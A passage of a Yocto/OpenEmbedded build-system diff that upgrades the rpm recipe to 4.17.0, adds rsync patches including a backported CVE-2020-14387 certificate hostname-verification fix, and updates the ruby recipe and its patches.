+ tools/elfdeps.c | 6 +++++-
+ tools/error.h | 27 +++++++++++++++++++++++++++
+ 2 files changed, 32 insertions(+), 1 deletion(-)
create mode 100644 tools/error.h
-diff --git a/tools/debugedit.c b/tools/debugedit.c
-index 9f8dcd0fb..852f46073 100644
---- a/tools/debugedit.c
-+++ b/tools/debugedit.c
-@@ -26,7 +26,6 @@
- #include <byteswap.h>
- #include <endian.h>
- #include <errno.h>
--#include <error.h>
- #include <limits.h>
- #include <string.h>
- #include <stdlib.h>
-@@ -40,6 +39,11 @@
-
- #include <gelf.h>
- #include <dwarf.h>
-+#ifdef __GLIBC__
-+#include <error.h>
-+#else
-+#include "error.h"
-+#endif
-
-
- /* Unfortunately strtab manipulation functions were only officially added
diff --git a/tools/elfdeps.c b/tools/elfdeps.c
-index 6d9094874..f69e60997 100644
+index d205935bb..3a8945b33 100644
--- a/tools/elfdeps.c
+++ b/tools/elfdeps.c
@@ -5,10 +5,14 @@
@@ -94,25 +69,3 @@ index 000000000..ef06827a0
+}
+
+#endif /* _ERROR_H_ */
-diff --git a/tools/sepdebugcrcfix.c b/tools/sepdebugcrcfix.c
-index fba460014..2be9c1fd8 100644
---- a/tools/sepdebugcrcfix.c
-+++ b/tools/sepdebugcrcfix.c
-@@ -29,9 +29,13 @@
- #include <endian.h>
- #include <stdio.h>
- #include <stdlib.h>
--#include <error.h>
- #include <libelf.h>
- #include <gelf.h>
-+#ifdef __GLIBC__
-+#include <error.h>
-+#else
-+#include "error.h"
-+#endif
-
- #ifndef _
- #define _(x) x
---
-2.29.2
-
diff --git a/meta/recipes-devtools/rpm/files/0011-Do-not-require-that-ELF-binaries-are-executable-to-b.patch b/meta/recipes-devtools/rpm/files/0011-Do-not-require-that-ELF-binaries-are-executable-to-b.patch
deleted file mode 100644
index 4ac5c38f06..0000000000
--- a/meta/recipes-devtools/rpm/files/0011-Do-not-require-that-ELF-binaries-are-executable-to-b.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From 5141d50d7b3d3c209a22c53deedb4ceef014401d Mon Sep 17 00:00:00 2001
-From: Peter Kjellerstedt <pkj@axis.com>
-Date: Mon, 15 May 2017 10:21:08 +0200
-Subject: [PATCH 09/15] Do not require that ELF binaries are executable to be
- identifiable
-
-There is nothing that requires, e.g., a DSO to be executable, but it
-is still an ELF binary and should be identified as such.
-
-Upstream probably expects all ELF binaries to be marked as executable,
-but rather than imposing such a limitation for OE, allow any file to
-be identified as an ELF binary regardless of whether it is executable
-or not.
-
-Upstream-Status: Inappropriate
-Signed-off-by: Peter Kjellerstedt <peter.kjellerstedt@axis.com>
-
----
- fileattrs/elf.attr | 1 -
- 1 file changed, 1 deletion(-)
-
-diff --git a/fileattrs/elf.attr b/fileattrs/elf.attr
-index 5805dd0ee..3516f309d 100644
---- a/fileattrs/elf.attr
-+++ b/fileattrs/elf.attr
-@@ -1,4 +1,3 @@
- %__elf_provides %{_rpmconfigdir}/elfdeps --provides %{?__filter_GLIBC_PRIVATE:--filter-private}
- %__elf_requires %{_rpmconfigdir}/elfdeps --requires %{?__filter_GLIBC_PRIVATE:--filter-private}
- %__elf_magic ^(setuid,? )?(setgid,? )?(sticky )?ELF (32|64)-bit.*$
--%__elf_flags exeonly
---
-2.14.2
-
diff --git a/meta/recipes-devtools/rpm/rpm_4.16.0.bb b/meta/recipes-devtools/rpm/rpm_4.16.0.bb
deleted file mode 100644
index 4125f3f9d0..0000000000
--- a/meta/recipes-devtools/rpm/rpm_4.16.0.bb
+++ /dev/null
@@ -1,165 +0,0 @@
-SUMMARY = "The RPM package management system"
-DESCRIPTION = "The RPM Package Manager (RPM) is a powerful command line driven \
-package management system capable of installing, uninstalling, \
-verifying, querying, and updating software packages. Each software \
-package consists of an archive of files along with information about \
-the package like its version, a description, etc."
-
-SUMMARY_${PN}-dev = "Development files for manipulating RPM packages"
-DESCRIPTION_${PN}-dev = "This package contains the RPM C library and header files. These \
-development files will simplify the process of writing programs that \
-manipulate RPM packages and databases. These files are intended to \
-simplify the process of creating graphical package managers or any \
-other tools that need an intimate knowledge of RPM packages in order \
-to function."
-
-SUMMARY_python3-rpm = "Python bindings for apps which will manupulate RPM packages"
-DESCRIPTION_python3-rpm = "The python3-rpm package contains a module that permits applications \
-written in the Python programming language to use the interface \
-supplied by the RPM Package Manager libraries."
-
-HOMEPAGE = "http://www.rpm.org"
-
-# libraries are also LGPL - how to express this?
-LICENSE = "GPL-2.0"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c4eec0c20c6034b9407a09945b48a43f"
-
-SRC_URI = "git://github.com/rpm-software-management/rpm;branch=rpm-4.16.x \
- file://environment.d-rpm.sh \
- file://0001-Do-not-add-an-unsatisfiable-dependency-when-building.patch \
- file://0001-Do-not-read-config-files-from-HOME.patch \
- file://0001-When-cross-installing-execute-package-scriptlets-wit.patch \
- file://0001-Do-not-reset-the-PATH-environment-variable-before-ru.patch \
- file://0002-Add-support-for-prefixing-etc-from-RPM_ETCCONFIGDIR-.patch \
- file://0001-Do-not-hardcode-lib-rpm-as-the-installation-path-for.patch \
- file://0001-Fix-build-with-musl-C-library.patch \
- file://0001-Add-a-color-setting-for-mips64_n32-binaries.patch \
- file://0011-Do-not-require-that-ELF-binaries-are-executable-to-b.patch \
- file://0001-perl-disable-auto-reqs.patch \
- file://0001-rpm-rpmio.c-restrict-virtual-memory-usage-if-limit-s.patch \
- file://0016-rpmscript.c-change-logging-level-around-scriptlets-t.patch \
- file://0001-lib-transaction.c-fix-file-conflicts-for-MIPS64-N32.patch \
- file://0001-rpmdb.c-add-a-missing-include.patch \
- file://0001-tools-Add-error.h-for-non-glibc-case.patch \
- "
-
-PE = "1"
-SRCREV = "cd7f9303ef1070f027493cad7d00bc66935af2a0"
-
-S = "${WORKDIR}/git"
-
-DEPENDS = "libgcrypt db file popt xz bzip2 elfutils python3"
-DEPENDS_append_class-native = " file-replacement-native bzip2-replacement-native"
-
-inherit autotools gettext pkgconfig python3native
-export PYTHON_ABI
-
-AUTOTOOLS_AUXDIR = "${S}/build-aux"
-
-# OE-core patches autoreconf to additionally run gnu-configize, which fails with this recipe
-EXTRA_AUTORECONF_append = " --exclude=gnu-configize"
-
-EXTRA_OECONF_append = " --without-lua --enable-python --with-crypto=libgcrypt"
-EXTRA_OECONF_append_libc-musl = " --disable-nls --disable-openmp"
-
-# --sysconfdir prevents rpm from attempting to access machine-specific configuration in sysroot/etc; we need to have it in rootfs
-# --localstatedir prevents rpm from writing its database to native sysroot when building images
-# Forcibly disable plugins for native/nativesdk, as the inhibit and prioreset
-# plugins both behave badly inside builds.
-EXTRA_OECONF_append_class-native = " --sysconfdir=/etc --localstatedir=/var --disable-plugins"
-EXTRA_OECONF_append_class-nativesdk = " --sysconfdir=/etc --disable-plugins"
-
-BBCLASSEXTEND = "native nativesdk"
-
-PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'inhibit', '', d)}"
-# The inhibit plugin serves no purpose outside of the target
-PACKAGECONFIG_remove_class-native = "inhibit"
-PACKAGECONFIG_remove_class-nativesdk = "inhibit"
-
-PACKAGECONFIG[imaevm] = "--with-imaevm,,ima-evm-utils"
-PACKAGECONFIG[inhibit] = "--enable-inhibit-plugin,--disable-inhibit-plugin,dbus"
-PACKAGECONFIG[rpm2archive] = "--with-archive,--without-archive,libarchive"
-
-ASNEEDED = ""
-
-# Direct rpm-native to read configuration from our sysroot, not the one it was compiled in
-# libmagic also has sysroot path contamination, so override it
-
-WRAPPER_TOOLS = " \
- ${bindir}/rpm \
- ${bindir}/rpm2archive \
- ${bindir}/rpm2cpio \
- ${bindir}/rpmbuild \
- ${bindir}/rpmdb \
- ${bindir}/rpmgraph \
- ${bindir}/rpmkeys \
- ${bindir}/rpmsign \
- ${bindir}/rpmspec \
- ${libdir}/rpm/rpmdeps \
-"
-
-do_configure_prepend() {
- mkdir -p ${S}/build-aux
-}
-
-do_install_append_class-native() {
- for tool in ${WRAPPER_TOOLS}; do
- test -x ${D}$tool && create_wrapper ${D}$tool \
- RPM_CONFIGDIR=${STAGING_LIBDIR_NATIVE}/rpm \
- RPM_ETCCONFIGDIR=${STAGING_DIR_NATIVE} \
- MAGIC=${STAGING_DIR_NATIVE}${datadir_native}/misc/magic.mgc \
- RPM_NO_CHROOT_FOR_SCRIPTS=1
- done
-}
-
-do_install_append_class-nativesdk() {
- for tool in ${WRAPPER_TOOLS}; do
- test -x ${D}$tool && create_wrapper ${D}$tool \
- RPM_CONFIGDIR='`dirname $''realpath`'/${@os.path.relpath(d.getVar('libdir'), d.getVar('bindir'))}/rpm \
- RPM_ETCCONFIGDIR='$'{RPM_ETCCONFIGDIR-'`dirname $''realpath`'/${@os.path.relpath(d.getVar('sysconfdir'), d.getVar('bindir'))}/..} \
- MAGIC='`dirname $''realpath`'/${@os.path.relpath(d.getVar('datadir'), d.getVar('bindir'))}/misc/magic.mgc \
- RPM_NO_CHROOT_FOR_SCRIPTS=1
- done
-
- rm -rf ${D}/var
-
- mkdir -p ${D}${SDKPATHNATIVE}/environment-setup.d
- install -m 644 ${WORKDIR}/environment.d-rpm.sh ${D}${SDKPATHNATIVE}/environment-setup.d/rpm.sh
-}
-
-# Rpm's make install creates var/tmp which clashes with base-files packaging
-do_install_append_class-target() {
- rm -rf ${D}/var
-}
-
-do_install_append () {
- sed -i -e 's:${HOSTTOOLS_DIR}/::g' \
- ${D}/${libdir}/rpm/macros
-
- sed -i -e 's|/usr/bin/python|${USRBINPATH}/env ${PYTHON_PN}|' \
- ${D}${libdir}/rpm/pythondistdeps.py
-}
-
-FILES_${PN} += "${libdir}/rpm-plugins/*.so \
- "
-FILES_${PN}_append_class-nativesdk = " ${SDKPATHNATIVE}/environment-setup.d/rpm.sh"
-
-FILES_${PN}-dev += "${libdir}/rpm-plugins/*.la \
- "
-
-PACKAGES += "python3-rpm"
-PROVIDES += "python3-rpm"
-FILES_python3-rpm = "${PYTHON_SITEPACKAGES_DIR}/rpm/*"
-
-# rpm 5.x was packaging the rpm build tools separately
-RPROVIDES_${PN} += "rpm-build"
-
-RDEPENDS_${PN} = "bash perl python3-core"
-
-PACKAGE_PREPROCESS_FUNCS += "rpm_package_preprocess"
-
-# Do not specify a sysroot when compiling on a target.
-rpm_package_preprocess () {
- sed -i -e 's:--sysroot[^ ]*::g' \
- ${PKGD}/${libdir}/rpm/macros
-}
diff --git a/meta/recipes-devtools/rpm/rpm_4.17.0.bb b/meta/recipes-devtools/rpm/rpm_4.17.0.bb
new file mode 100644
index 0000000000..beb03ba3dd
--- /dev/null
+++ b/meta/recipes-devtools/rpm/rpm_4.17.0.bb
@@ -0,0 +1,202 @@
+SUMMARY = "The RPM package management system"
+DESCRIPTION = "The RPM Package Manager (RPM) is a powerful command line driven \
+package management system capable of installing, uninstalling, \
+verifying, querying, and updating software packages. Each software \
+package consists of an archive of files along with information about \
+the package like its version, a description, etc."
+
+SUMMARY:${PN}-dev = "Development files for manipulating RPM packages"
+DESCRIPTION:${PN}-dev = "This package contains the RPM C library and header files. These \
+development files will simplify the process of writing programs that \
+manipulate RPM packages and databases. These files are intended to \
+simplify the process of creating graphical package managers or any \
+other tools that need an intimate knowledge of RPM packages in order \
+to function."
+
+SUMMARY:python3-rpm = "Python bindings for apps which will manupulate RPM packages"
+DESCRIPTION:python3-rpm = "The python3-rpm package contains a module that permits applications \
+written in the Python programming language to use the interface \
+supplied by the RPM Package Manager libraries."
+
+HOMEPAGE = "http://www.rpm.org"
+
+# libraries are also LGPL - how to express this?
+LICENSE = "GPL-2.0"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c4eec0c20c6034b9407a09945b48a43f"
+
+SRC_URI = "git://github.com/rpm-software-management/rpm;branch=rpm-4.17.x;protocol=https \
+ file://environment.d-rpm.sh \
+ file://0001-Do-not-add-an-unsatisfiable-dependency-when-building.patch \
+ file://0001-Do-not-read-config-files-from-HOME.patch \
+ file://0001-When-cross-installing-execute-package-scriptlets-wit.patch \
+ file://0001-Do-not-reset-the-PATH-environment-variable-before-ru.patch \
+ file://0002-Add-support-for-prefixing-etc-from-RPM_ETCCONFIGDIR-.patch \
+ file://0001-Do-not-hardcode-lib-rpm-as-the-installation-path-for.patch \
+ file://0001-Add-a-color-setting-for-mips64_n32-binaries.patch \
+ file://0001-perl-disable-auto-reqs.patch \
+ file://0016-rpmscript.c-change-logging-level-around-scriptlets-t.patch \
+ file://0001-lib-transaction.c-fix-file-conflicts-for-MIPS64-N32.patch \
+ file://0001-tools-Add-error.h-for-non-glibc-case.patch \
+ file://0001-docs-do-not-build-manpages-requires-pandoc.patch \
+ file://0001-build-pack.c-do-not-insert-payloadflags-into-.rpm-me.patch \
+ "
+
+PE = "1"
+SRCREV = "3e74e8ba2dd5e76a5353d238dc7fc38651ce27b3"
+
+S = "${WORKDIR}/git"
+
+DEPENDS = "lua libgcrypt file popt xz bzip2 elfutils python3"
+DEPENDS:append:class-native = " file-replacement-native bzip2-replacement-native"
+
+inherit autotools gettext pkgconfig python3native
+export PYTHON_ABI
+
+AUTOTOOLS_AUXDIR = "${S}/build-aux"
+
+# OE-core patches autoreconf to additionally run gnu-configize, which fails with this recipe
+EXTRA_AUTORECONF:append = " --exclude=gnu-configize"
+
+# Vendor is detected differently on x86 and aarch64 hosts and can feed into target packages
+EXTRA_OECONF:append = " --enable-python --with-crypto=libgcrypt --with-vendor=pc"
+EXTRA_OECONF:append:libc-musl = " --disable-nls --disable-openmp"
+
+# --sysconfdir prevents rpm from attempting to access machine-specific configuration in sysroot/etc; we need to have it in rootfs
+# --localstatedir prevents rpm from writing its database to native sysroot when building images
+# Forcibly disable plugins for native/nativesdk, as the inhibit and prioreset
+# plugins both behave badly inside builds.
+EXTRA_OECONF:append:class-native = " --sysconfdir=/etc --localstatedir=/var --disable-plugins"
+EXTRA_OECONF:append:class-nativesdk = " --sysconfdir=/etc --disable-plugins"
+
+BBCLASSEXTEND = "native nativesdk"
+
+PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'inhibit', '', d)} sqlite zstd"
+# The inhibit plugin serves no purpose outside of the target
+PACKAGECONFIG:remove:class-native = "inhibit"
+PACKAGECONFIG:remove:class-nativesdk = "inhibit"
+
+PACKAGECONFIG[imaevm] = "--with-imaevm,,ima-evm-utils"
+PACKAGECONFIG[inhibit] = "--enable-inhibit-plugin,--disable-inhibit-plugin,dbus"
+PACKAGECONFIG[rpm2archive] = "--with-archive,--without-archive,libarchive"
+PACKAGECONFIG[sqlite] = "--enable-sqlite=yes,--enable-sqlite=no,sqlite3"
+PACKAGECONFIG[ndb] = "--enable-ndb,--disable-ndb"
+PACKAGECONFIG[bdb-ro] = "--enable-bdb-ro,--disable-bdb-ro"
+PACKAGECONFIG[zstd] = "--enable-zstd=yes,--enable-zstd=no,zstd"
+
+ASNEEDED = ""
+
+# Direct rpm-native to read configuration from our sysroot, not the one it was compiled in
+# libmagic also has sysroot path contamination, so override it
+
+WRAPPER_TOOLS = " \
+ ${bindir}/rpm \
+ ${bindir}/rpm2archive \
+ ${bindir}/rpm2cpio \
+ ${bindir}/rpmbuild \
+ ${bindir}/rpmdb \
+ ${bindir}/rpmgraph \
+ ${bindir}/rpmkeys \
+ ${bindir}/rpmsign \
+ ${bindir}/rpmspec \
+ ${libdir}/rpm/rpmdeps \
+"
+
+do_configure:prepend() {
+ mkdir -p ${S}/build-aux
+}
+
+do_install:append:class-native() {
+ for tool in ${WRAPPER_TOOLS}; do
+ test -x ${D}$tool && create_wrapper ${D}$tool \
+ RPM_CONFIGDIR=${STAGING_LIBDIR_NATIVE}/rpm \
+ RPM_ETCCONFIGDIR=${STAGING_DIR_NATIVE} \
+ MAGIC=${STAGING_DIR_NATIVE}${datadir_native}/misc/magic.mgc \
+ RPM_NO_CHROOT_FOR_SCRIPTS=1
+ done
+}
+
+do_install:append:class-nativesdk() {
+ for tool in ${WRAPPER_TOOLS}; do
+ test -x ${D}$tool && create_wrapper ${D}$tool \
+ RPM_CONFIGDIR='`dirname $''realpath`'/${@os.path.relpath(d.getVar('libdir'), d.getVar('bindir'))}/rpm \
+ RPM_ETCCONFIGDIR='$'{RPM_ETCCONFIGDIR-'`dirname $''realpath`'/${@os.path.relpath(d.getVar('sysconfdir'), d.getVar('bindir'))}/..} \
+ MAGIC='`dirname $''realpath`'/${@os.path.relpath(d.getVar('datadir'), d.getVar('bindir'))}/misc/magic.mgc \
+ RPM_NO_CHROOT_FOR_SCRIPTS=1
+ done
+
+ rm -rf ${D}/var
+
+ mkdir -p ${D}${SDKPATHNATIVE}/environment-setup.d
+ install -m 644 ${WORKDIR}/environment.d-rpm.sh ${D}${SDKPATHNATIVE}/environment-setup.d/rpm.sh
+}
+
+# Rpm's make install creates var/tmp which clashes with base-files packaging
+do_install:append:class-target() {
+ rm -rf ${D}/var
+}
+
+do_install:append () {
+ sed -i -e 's:${HOSTTOOLS_DIR}/::g' \
+ ${D}/${libdir}/rpm/macros
+
+}
+
+FILES:${PN} += "${libdir}/rpm-plugins/*.so \
+ "
+FILES:${PN}:append:class-nativesdk = " ${SDKPATHNATIVE}/environment-setup.d/rpm.sh"
+
+FILES:${PN}-dev += "${libdir}/rpm-plugins/*.la \
+ "
+PACKAGE_BEFORE_PN += "${PN}-build ${PN}-sign ${PN}-archive"
+
+RRECOMMENDS:${PN} += "rpm-sign rpm-archive"
+
+FILES:${PN}-build = "\
+ ${bindir}/rpmbuild \
+ ${bindir}/gendiff \
+ ${bindir}/rpmspec \
+ ${libdir}/librpmbuild.so.* \
+ ${libdir}/rpm/brp-* \
+ ${libdir}/rpm/check-* \
+ ${libdir}/rpm/debugedit \
+ ${libdir}/rpm/sepdebugcrcfix \
+ ${libdir}/rpm/find-debuginfo.sh \
+ ${libdir}/rpm/find-lang.sh \
+ ${libdir}/rpm/*provides* \
+ ${libdir}/rpm/*requires* \
+ ${libdir}/rpm/*deps* \
+ ${libdir}/rpm/*.prov \
+ ${libdir}/rpm/*.req \
+ ${libdir}/rpm/config.* \
+ ${libdir}/rpm/mkinstalldirs \
+ ${libdir}/rpm/macros.p* \
+ ${libdir}/rpm/fileattrs/* \
+"
+
+FILES:${PN}-sign = "\
+ ${bindir}/rpmsign \
+ ${libdir}/librpmsign.so.* \
+"
+
+FILES:${PN}-archive = "\
+ ${bindir}/rpm2archive \
+"
+
+PACKAGES += "python3-rpm"
+PROVIDES += "python3-rpm"
+FILES:python3-rpm = "${PYTHON_SITEPACKAGES_DIR}/rpm/*"
+
+RDEPENDS:${PN}-build = "bash perl python3-core"
+
+PACKAGE_PREPROCESS_FUNCS += "rpm_package_preprocess"
+
+# Do not specify a sysroot when compiling on a target.
+rpm_package_preprocess () {
+ sed -i -e 's:--sysroot[^ ]*::g' \
+ ${PKGD}/${libdir}/rpm/macros
+}
+
+SSTATE_HASHEQUIV_FILEMAP = " \
+ populate_sysroot:*/rpm/macros:${TMPDIR} \
+ populate_sysroot:*/rpm/macros:${COREBASE} \
+ "
diff --git a/meta/recipes-devtools/rsync/files/0001-rsync-ssl-Verify-the-hostname-in-the-certificate-whe.patch b/meta/recipes-devtools/rsync/files/0001-rsync-ssl-Verify-the-hostname-in-the-certificate-whe.patch
new file mode 100644
index 0000000000..2d51ddf965
--- /dev/null
+++ b/meta/recipes-devtools/rsync/files/0001-rsync-ssl-Verify-the-hostname-in-the-certificate-whe.patch
@@ -0,0 +1,31 @@
+From fbe85634d88e82fbb439ae2a5d1aca8b8c309bea Mon Sep 17 00:00:00 2001
+From: Matt McCutchen <matt@mattmccutchen.net>
+Date: Wed, 26 Aug 2020 12:16:08 -0400
+Subject: [PATCH] rsync-ssl: Verify the hostname in the certificate when using
+ openssl.
+
+CVE: CVE-2020-14387
+
+Upstream-Status: Backport [https://git.samba.org/?p=rsync.git;a=commit;h=c3f7414]
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+---
+ rsync-ssl | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/rsync-ssl b/rsync-ssl
+index 8101975..46701af 100755
+--- a/rsync-ssl
++++ b/rsync-ssl
+@@ -129,7 +129,7 @@ function rsync_ssl_helper {
+ fi
+
+ if [[ $RSYNC_SSL_TYPE == openssl ]]; then
+- exec $RSYNC_SSL_OPENSSL s_client $caopt $certopt -quiet -verify_quiet -servername $hostname -connect $hostname:$port
++ exec $RSYNC_SSL_OPENSSL s_client $caopt $certopt -quiet -verify_quiet -servername $hostname -verify_hostname $hostname -connect $hostname:$port
+ elif [[ $RSYNC_SSL_TYPE == gnutls ]]; then
+ exec $RSYNC_SSL_GNUTLS --logfile=/dev/null $gnutls_cert_opt $gnutls_opts $hostname:$port
+ else
+--
+2.17.1
+
diff --git a/meta/recipes-devtools/rsync/files/determism.patch b/meta/recipes-devtools/rsync/files/determism.patch
new file mode 100644
index 0000000000..e3494fdded
--- /dev/null
+++ b/meta/recipes-devtools/rsync/files/determism.patch
@@ -0,0 +1,34 @@
+The Makefile calls awk on a "*.c" glob. The results of this glob are sorted
+but the order depends on the locale settings, particularly whether
+"util.c" and "util2.c" sort before or after each other. In en_US.UTF-8
+they sort one way, in C, they sort the other. The sorting order changes
+the output binaries. The behaviour also changes dependning on whether
+SHELL (/bin/sh) is dash or bash.
+
+Specify a C locale setting to be deterministic.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+Submitted: https://github.com/WayneD/rsync/pull/155
+
+Upstream-Status: Backport [ish, see below]
+
+After discussion upstream renamed util.c to util1.c which avoids the problem
+in a different way. This patch can be dropped when we upgrade to include:
+https://github.com/WayneD/rsync/commit/d3085f7add38a5cf833a0b31cb0637ff46c80f8d
+
+Index: rsync-3.2.3/Makefile.in
+===================================================================
+--- rsync-3.2.3.orig/Makefile.in
++++ rsync-3.2.3/Makefile.in
+@@ -26,6 +26,11 @@ MKDIR_P=@MKDIR_P@
+ VPATH=$(srcdir)
+ SHELL=/bin/sh
+
++# We use globbing in commands, need to be deterministic
++unexport LC_ALL
++LC_COLLATE=C
++export LC_COLLATE
++
+ .SUFFIXES:
+ .SUFFIXES: .c .o
+
diff --git a/meta/recipes-devtools/rsync/rsync_3.2.3.bb b/meta/recipes-devtools/rsync/rsync_3.2.3.bb
index b7205e5bde..b6d07726d1 100644
--- a/meta/recipes-devtools/rsync/rsync_3.2.3.bb
+++ b/meta/recipes-devtools/rsync/rsync_3.2.3.bb
@@ -1,5 +1,6 @@
SUMMARY = "File synchronization tool"
HOMEPAGE = "http://rsync.samba.org/"
+DESCRIPTION = "rsync is an open source utility that provides fast incremental file transfer."
BUGTRACKER = "http://rsync.samba.org/bugzilla.html"
SECTION = "console/network"
# GPLv2+ (<< 3.0.0), GPLv3+ (>= 3.0.0)
@@ -12,6 +13,8 @@ DEPENDS = "popt"
SRC_URI = "https://download.samba.org/pub/${BPN}/src/${BP}.tar.gz \
file://rsyncd.conf \
file://makefile-no-rebuild.patch \
+ file://determism.patch \
+ file://0001-rsync-ssl-Verify-the-hostname-in-the-certificate-whe.patch \
"
SRC_URI[sha256sum] = "becc3c504ceea499f4167a260040ccf4d9f2ef9499ad5683c179a697146ce50e"
@@ -38,19 +41,19 @@ PACKAGECONFIG[zstd] = "--enable-zstd,--disable-zstd,zstd"
CACHED_CONFIGUREVARS += "rsync_cv_can_hardlink_special=yes rsync_cv_can_hardlink_symlink=yes"
EXTRA_OEMAKE = 'STRIP=""'
-EXTRA_OECONF = "--disable-simd --disable-md2man --disable-asm"
+EXTRA_OECONF = "--disable-simd --disable-md2man --disable-asm --with-nobody-group=nogroup"
# rsync 3.0 uses configure.sh instead of configure, and
# makefile checks the existence of configure.sh
-do_configure_prepend () {
+do_configure:prepend () {
rm -f ${S}/configure ${S}/configure.sh
}
-do_configure_append () {
+do_configure:append () {
cp -f ${S}/configure ${S}/configure.sh
}
-do_install_append() {
+do_install:append() {
install -d ${D}${sysconfdir}
install -m 0644 ${WORKDIR}/rsyncd.conf ${D}${sysconfdir}
}
diff --git a/meta/recipes-devtools/ruby/ruby.inc b/meta/recipes-devtools/ruby/ruby.inc
index a38b3fe624..2b5caf35f5 100644
--- a/meta/recipes-devtools/ruby/ruby.inc
+++ b/meta/recipes-devtools/ruby/ruby.inc
@@ -7,15 +7,14 @@ It is simple, straight-forward, and extensible. \
HOMEPAGE = "http://www.ruby-lang.org/"
SECTION = "devel/ruby"
LICENSE = "Ruby | BSD-2-Clause | BSD-3-Clause | GPLv2 | ISC | MIT"
-LIC_FILES_CHKSUM = "\
- file://COPYING;md5=5b8c87559868796979806100db3f3805 \
- file://BSDL;md5=19aaf65c88a40b508d17ae4be539c4b5\
- file://GPL;md5=b234ee4d69f5fce4486a80fdaf4a4263\
- file://LEGAL;md5=2b6d62dc0d608f34d510ca3f428110ec \
-"
+LIC_FILES_CHKSUM = "file://COPYING;md5=5b8c87559868796979806100db3f3805 \
+ file://BSDL;md5=8b50bc6de8f586dc66790ba11d064d75 \
+ file://GPL;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://LEGAL;md5=cfe5b0bc9f051b58c7e78db882ca5f9b \
+ "
-DEPENDS = "ruby-native zlib openssl tcl libyaml gdbm readline libffi"
-DEPENDS_class-native = "openssl-native libyaml-native readline-native zlib-native"
+DEPENDS = "ruby-native zlib openssl libyaml gdbm readline libffi"
+DEPENDS:class-native = "openssl-native libyaml-native readline-native zlib-native"
SHRT_VER = "${@oe.utils.trim_version("${PV}", 2)}"
SRC_URI = "http://cache.ruby-lang.org/pub/ruby/${SHRT_VER}/ruby-${PV}.tar.gz \
@@ -34,7 +33,12 @@ inherit autotools ptest
# that the libraries aren't available and hence that the extension can't be
# built.
-do_configure_prepend() {
+do_configure:prepend() {
sed -i "s#%%TARGET_CFLAGS%%#$CFLAGS#; s#%%TARGET_LDFLAGS%%#$LDFLAGS#" ${S}/common.mk
rm -rf ${S}/ruby/
}
+
+# Disable openssl extension until it becomes compatible with openssl 3
+do_configure:prepend() {
+ rm -rf ${S}/ext/openssl/extconf.rb
+}
diff --git a/meta/recipes-devtools/ruby/ruby/0001-Modify-shebang-of-libexec-y2racc-and-libexec-racc2y.patch b/meta/recipes-devtools/ruby/ruby/0001-Modify-shebang-of-libexec-y2racc-and-libexec-racc2y.patch
deleted file mode 100644
index f316bed7bd..0000000000
--- a/meta/recipes-devtools/ruby/ruby/0001-Modify-shebang-of-libexec-y2racc-and-libexec-racc2y.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From eed7bc855fd8d232d4d203cc9027dd07cee8eca2 Mon Sep 17 00:00:00 2001
-From: Wang Mingyu <wangmy@cn.fujitsu.com>
-Date: Sat, 8 Feb 2020 15:16:14 +0800
-Subject: [PATCH] Modify shebang of libexec/y2racc and libexec/racc2y.
-
-change /usr/local/bin/ruby to /usr/bin/env ruby.
-
-Upstream-Status: Pending
-
-Signed-off-by: Wang Mingyu <wangmy@cn.fujitsu.com>
----
- libexec/racc2y | 2 +-
- libexec/y2racc | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/libexec/racc2y b/libexec/racc2y
-index f88d73ed2c..74e49cfa21 100755
---- a/libexec/racc2y
-+++ b/libexec/racc2y
-@@ -1,4 +1,4 @@
--#!/usr/local/bin/ruby
-+#!/usr/bin/env ruby
- #
- # $Id$
- #
-diff --git a/libexec/y2racc b/libexec/y2racc
-index 7933f94153..36daf864e1 100755
---- a/libexec/y2racc
-+++ b/libexec/y2racc
-@@ -1,4 +1,4 @@
--#!/usr/local/bin/ruby
-+#!/usr/bin/env ruby
- #
- # $Id$
- #
---
-2.17.1
-
diff --git a/meta/recipes-devtools/ruby/ruby/0001-template-Makefile.in-do-not-write-host-cross-cc-item.patch b/meta/recipes-devtools/ruby/ruby/0001-template-Makefile.in-do-not-write-host-cross-cc-item.patch
new file mode 100644
index 0000000000..226ef3af75
--- /dev/null
+++ b/meta/recipes-devtools/ruby/ruby/0001-template-Makefile.in-do-not-write-host-cross-cc-item.patch
@@ -0,0 +1,32 @@
+From 2368d07660a93a2c41d63f3ab6054ca4daeef820 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Tue, 17 Nov 2020 18:31:40 +0000
+Subject: [PATCH] template/Makefile.in: do not write host cross-cc items into
+ target config
+
+This helps reproducibility.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ template/Makefile.in | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/template/Makefile.in b/template/Makefile.in
+index 10dc826..940ee07 100644
+--- a/template/Makefile.in
++++ b/template/Makefile.in
+@@ -657,11 +657,11 @@ mjit_config.h:
+ echo '#endif'; \
+ quote MJIT_MIN_HEADER_NAME "$(MJIT_MIN_HEADER_NAME)"; \
+ sep=,; \
+- quote "MJIT_CC_COMMON " $(MJIT_CC); \
++ quote "MJIT_CC_COMMON " ; \
+ quote "MJIT_CFLAGS MJIT_ARCHFLAG" $(MJIT_CFLAGS); \
+ quote "MJIT_OPTFLAGS " $(MJIT_OPTFLAGS); \
+ quote "MJIT_DEBUGFLAGS " $(MJIT_DEBUGFLAGS); \
+- quote "MJIT_LDSHARED " $(MJIT_LDSHARED); \
++ quote "MJIT_LDSHARED " ; \
+ quote "MJIT_DLDFLAGS MJIT_ARCHFLAG" $(MJIT_DLDFLAGS); \
+ quote "MJIT_LIBS " $(LIBRUBYARG_SHARED); \
+ quote 'PRELOADENV "@PRELOADENV@"'; \
